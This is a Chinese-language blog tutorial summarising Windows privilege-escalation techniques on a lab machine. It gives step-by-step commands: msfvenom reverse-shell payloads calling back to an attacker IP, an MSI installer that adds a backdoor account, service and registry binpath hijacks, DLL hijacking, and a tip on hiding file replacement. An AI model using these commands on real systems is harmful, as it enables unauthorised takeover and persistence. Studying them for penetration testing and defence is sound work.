Windows提权相关的技术总结

Windows内核利用

如果该系统经常升级,那么这些利用方式可能不会那么有效。你可以使用Watson检查看看有没有因为没有打补丁而产生的漏洞。现在Watson已经整合进winPEAS了。一旦你发现任何漏洞,你都可以在下面的仓库中下载到相同的漏洞。这里你要确保下载的架构和你目标架构一致 。如果你需要编译二进制文件,你可以使用kali进行交叉编译。

https://github.com/SecWiki/windows-kernel-exploits

第一步:提取systeminfo命令的输出信息

C:\Users\user>systeminfoHost Name:                 MSEDGEWIN10
OS Name:                   Microsoft Windows 10 Enterprise Evaluation
OS Version:                10.0.17763 N/A Build 17763
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Standalone Workstation
OS Build Type:             Multiprocessor Free
Registered Owner:
Registered Organization:   Microsoft
Product ID:                00329-20000-00001-AA236
Original Install Date:     3/19/2019, 4:59:35 AM
System Boot Time:          2/27/2022, 9:40:09 PM
System Manufacturer:       VMware, Inc.
System Model:              VMware Virtual Platform
System Type:               x64-based PC
Processor(s):              2 Processor(s) Installed.[01]: Intel64 Family 6 Model 142 Stepping 12 GenuineIntel ~2112 Mhz[02]: Intel64 Family 6 Model 142 Stepping 12 GenuineIntel ~2112 Mhz
BIOS Version:              Phoenix Technologies LTD 6.00, 11/12/2020
Windows Directory:         C:\Windows
System Directory:          C:\Windows\system32
Boot Device:               \Device\HarddiskVolume1
System Locale:             en-us;English (United States)
Input Locale:              en-us;English (United States)
Time Zone:                 (UTC-08:00) Pacific Time (US & Canada)
Total Physical Memory:     4,095 MB
Available Physical Memory: 2,225 MB
Virtual Memory: Max Size:  5,503 MB
Virtual Memory: Available: 3,331 MB
Virtual Memory: In Use:    2,172 MB
Page File Location(s):     C:\pagefile.sys
Domain:                    WORKGROUP
Logon Server:              \\MSEDGEWIN10
Hotfix(s):                 9 Hotfix(s) Installed.[01]: KB4601558[02]: KB4462930[03]: KB4465065[04]: KB4470788[05]: KB4480056[06]: KB4486153[07]: KB4489907[08]: KB5003243[09]: KB4489899
Network Card(s):           1 NIC(s) Installed.[01]: Intel(R) PRO/1000 MT Network ConnectionConnection Name: Ethernet0DHCP Enabled:    YesDHCP Server:     192.168.58.70IP address(es)[01]: 192.168.58.66[02]: fe80::30eb:c6f3:8bdf:9647
Hyper-V Requirements:      A hypervisor has been detected. Features required for Hyper-V will not be displayed.

第二步:使用wes(https://github.com/bitsadmin/wesng)或者windows-exploit-suggeste(https://github.com/SecWiki/windows-kernel-exploits)这两个工具对systeminfo的信息进行扫描,这里我以wes工具为例。

命令:python wes.py systeminfo.txt
通过结果我们可以在漏洞库中下载不同的版本进行提权。
漏洞库链接:
1.https://github.com/SecWiki/windows-kernel-exploits
2.https://www.exploit-db.com/

第三步:将下载的文件放入靶机中运行,并启动我们通过msfvenom生成的木马文件即可。

生成木马命令:msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.11 LPORT=53 -f exe -o reverse.exe
运行命令:> .\x64.exe C:\PrivEsc\reverse.exe

未使用双引号的服务路径

如果启动了某一服务,Windows就会搜索它的二进制文件来运行。要运行的二进制文件的位置在 binPath 属性中声明。如果该二进制文件没有被引用,Windows就不知道该二进制文件存放在哪里,然后就会在所有文件夹中进行查找。
所以,如果我们想利用这一点,我们需满足三个条件:

  • 服务路径未使用双引号;
  • 服务路径包含空格;以及
  • 我们有某一中间文件夹的写权限。

如果binPath是这样设置的:

C:\Program Files\Unquoted Path Service\Common Files\service.exe

Windows会根据以下顺序进行查找:

  1. C:\
  2. C:\Program Files\
  3. C:\Program Files\Unquoted Path Service\
  4. C:\Program Files\Unquoted Path Service\Common.exe

PowerUp检测到的未使用双引号的服务路径

winPEAS检测到的可写路径

第一步:用 msfvenom 创建一个payload,命名为reversel.exe,使用accesschk.exe检查写权限:

> .\accesschk.exe /accepteula -uwdq C:\
> .\accesschk.exe /accepteula -uwdq "C:\Program Files\"
> .\accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service\"
结果发现在.\accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service\"此目录下user有写得权限。

第二步:将生成的木马文件放入到目录下

使用copy命令
copy C:\PrivEsc\reverse.exe  "C:\Program Files\Unquoted Path
Service\Common.exe"
这里注意前面的是我们的木马文件的路径 后面是我们得到的user用户拥有写权限的路径。

第三步:用sc start unquotedsvc启动该服务并运行该paylod。在kail上监听即可反弹shell。

弱服务权限

由SYSTEM创建的服务存在弱权限,会导致提权。如果低权限用户可以修改服务配置,也就是,修改 binPath 为一个恶意二进制文件并重启该服务,那么,恶意二进制文件就将以SYSTEM权限被执行

如果Authenticated Users组在服务中具有SERVICE_ALL_ACCESS,则它可以修改该服务正在执行的二进制文件。

第一步:重新配置服务文件路径,使用我们的反向shell可执行文件:

命令: sc config daclsvc binpath= "\"C:\PrivEsc\reverse.exe\""

第二步:启动服务

net start daclsvc

弱注册表权限

在Windows中,每一个服务都有一个注册键,而且这些注册键位于

1 HKLM\SYSTEM\CurrentControlSet\Services\<service_name>

如果Authenticated UsersNT AUTHORITY\INTERACTIVE有任一服务的完全控制权,那么你就可以换掉要该service要运行的二进制文件。

第一步:修改注册表ImagePath的值为你的payload所在的位置,并启动该服务。

命令:reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d  C:\PrivEsc\tools\reverse.exe /f
注意:第一个地址为注册表的原始路径,第二个为我们的木马生成路径。

第二步:启动注册表服务。

命令:net start regsvc

弱文件夹权限

如果用户有某一服务所使用的文件夹的写权限,他就可以将二进制文件替换为恶意的二进制文件。那么重启服务后,该恶意二进制文件就会以更高的权限被执行。

有弱权限的二进制服务文件

第一步:通过复制payload到该二进制服务文件所在的位置,就可以替换该文件。重启该服务后,payload就会以更高权限被执行。

注意:我们在提权时为了防止被发现我们可以将需要替换的文件先复制到临时文件夹中,当提权结束后再将源文件移动回去。
命令:copy /Y C:\PrivEsc\reverse.exe "C:\Program Files\File Permissions Service\filepermservice.exe"
这里第一个文件为生成的木马文件,第二个文件为我们的如文件夹的文件。

第二步:启动二进制文件

net start filepermsvc

DLL 劫持

Windows程序启动的时候需要DLL。如果这些DLL 不存在,则可以通过在应用程序要查找的位置放置恶意DLL来提权。
通常,Windows应用程序有其预定义好的搜索DLL的路径,它会根据下面的顺序进行搜索:

1、应用程序加载的目录
2、32位系统目录(C:\Windows\System32)
3、16位系统目录(C:\Windows\System)
4、Windows目录 (C:\Windows)
5、当前工作目录(Current Working Directory,CWD)
6、在PATH环境变量的目录(先系统后用户)

第一步:

先开启服务: net start dllsvc

第二步:

在kail上生成木马:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.11 LPORT=53 -f dll -o  hijackme.dll

第三步:复制DLL到Windows虚拟机,并进入C:\Temp目录。在Kali上启动监听器,然后停止/启动服务以触发攻击

> net stop dllsvc
> net start dllsvc

Always Install Elevated

根据AlwaysInstallElevated组策略,Windows允许低权限用户使用system权限安装微软Windows安装包(Microsoft Windows Installer,MSI)。

msfvenom创建一个msi格式的payload。

msfvenom -p windows/adduser USER=backdoor PASS=Pass@1234 -f msi -o setup.msi

使用如下命令安装payload。

msiexec /quiet/qn /i C:\Windows\Temp\setup.msi

MSI安装后用户添加的后门。

可修改的autorun

因为autorun的路径是可以修改的,我们可以用payload替换该文件。要以高权限运行该程序,我们需要等某个在admin组的用户登录。

admin登录

payload在admin登录的那一刻执行。

windows-提权常用技巧总结相关推荐

  1. windows提权常用系统漏洞与对应的补丁编号

    CVE-2021-33739 [Microsoft DWM 核心库特权提升漏洞](Windows 10.20) CVE-2021-1732 [Windows Win32k 提权漏洞] (Windows ...

  2. Windows提权基础:信息收集技巧及可用漏洞搜索

    本文收集整理一些跟提权紧密相关的信息收集技巧和方法,以及如何在kali中搜索可用的漏洞,最后整理了目前可供使用的一些漏洞对应msf下的模块以及操作系统可提权的版本. 0X00 Windows提权信息收 ...

  3. 张小白的渗透之路(十一)--windows提权详解

    windows基础命令 systeminfo | findstr OS **#获取系统版本信息** hostname **#获取主机名称** whomai /priv **#显示当前用户的安全特权** ...

  4. Windows提权方法简单总结

    目录 前言 一.本地提权 系统内核溢出漏洞提权 错误系统配置提权 可信任服务路径漏洞 系统服务权限配置错误 计划任务提权 GPP组策略首选项提权 令牌窃取 数据库提权 二.域内提权 MS14-068 ...

  5. Windows提权基本原理,各位表哥了解下!

    Windows提权基本原理 没有多少人谈论在Windows下提权,是一件让人遗憾的事!我想,没有人这么做的理由有以下几点: 在渗透测试项目中,客户需要的验证就是一个低权限shell. 在演示环境,你经 ...

  6. Linux下提权常用小命令

    有些新手朋友在拿到一个webshell后如果看到服务器是Linux或Unix操作系统的就直接放弃提权,认为Linux或Unix下的提权很难,不是大家能做的,其实Linux下的提权并没有很多人想象的那么 ...

  7. 使用MSF进行提权(windows提权、linux提权、wesng使用)

    文章目录 MSF Windows提权 反弹shell 提权 END推荐阅读 MSF Linux提权 反弹shell 补充wesng用法 Metasploit 是一个渗透框架,kali 内安装了,安装位 ...

  8. 高收益的笨办法:暴破在Windows提权中的应用

    千辛万苦拿下的 webshell 不是 www-data 用户就是 networkservice 权限,要想拓展攻击面.扩大战果,提权,是必经之路,也是后渗透阶段成功的关键.windows 提权,我常 ...

  9. windows 提权 cve-2018-8897

    windows 提权 cve-2018-8897 影响范围:基本上是全版本 具体影响范围看详情:https://portal.msrc.microsoft.co - isory/CVE-2018-88 ...

  10. windows提权速查流程

    windows提权速查流程 1.可利用漏洞信息收集 收集本机systeminfo中补丁信息 在提权辅助平台 https://i.hacking8.com/tiquan/ 中查询可利用exp 然后查询e ...

最新文章

  1. 基于 WPF + Modern UI 的 公司OA小助手 开发总结
  2. #if DEBUG与条件(“ DEBUG”)
  3. mysql的锁定机制_MySQL锁定机制
  4. vivox21升级鸿蒙,vivo X21i相机规格再升级,加持AI成又一拍照神器
  5. 修改wireshark协议解析规则
  6. java几种多线程_Java多线程实现的几种方式
  7. 为什么objc_msgSend必须用汇编实现
  8. requirejs页面刷新失效js报错问题解决方案
  9. c语言做心理测试程序,求各位大神赐教!我做了一个“心理测试的答题卷”编程,总共有1...
  10. Moodle插件开发大全
  11. 蓝桥杯 ADV-120算法提高 6-17复数四则运算
  12. 遥感导论网课_甘肃农业大学2019年地理信息科学专业专升本招生 专业课考试大纲...
  13. 图像局部特征(九)--斑点检测LOG算子
  14. SSE图像算法优化系列十五:YUV/XYZ和RGB空间相互转化的极速实现(此后老板不用再担心算法转到其他空间通道的耗时了)。...
  15. 74系列芯片功能大全
  16. Meta-Tracker: Fast and Robust Online Adaptation for Visual Object Trackers 论文
  17. linux中rcf命名管道,RCF的简单使用教程以及什么是回调函数
  18. DBCO-PEG4-alcohol CAS:1416711-60-8 二苯基环辛炔-四聚乙二醇-乙醇
  19. J-LinK-OB改造版 仿真/调试器 使用说明
  20. 思科链路聚合Port

热门文章

  1. 云计算机基础架构,云计算基础架构的解决方案
  2. 公司计算机程序员英语怎么说,计算机程序员英文求职信范文模板
  3. 楚纳电动车禁入电梯管控系统-电梯阻车原理
  4. 马斯克的底层思维方式
  5. PMP®|项目经理如何应对项目需求变更?
  6. python 百度aip实现文字识别
  7. 手动设置ip 访问内网地址
  8. nginx配置实现代理多个内网地址
  9. 苹果笔记本电脑我的计算机在哪里设置密码,苹果笔记本忘记密码怎么办
  10. 笔记本电脑怎么在桌面添加计算机,怎么在笔记本电脑上添加便签,笔记本电脑桌面便签设置密码...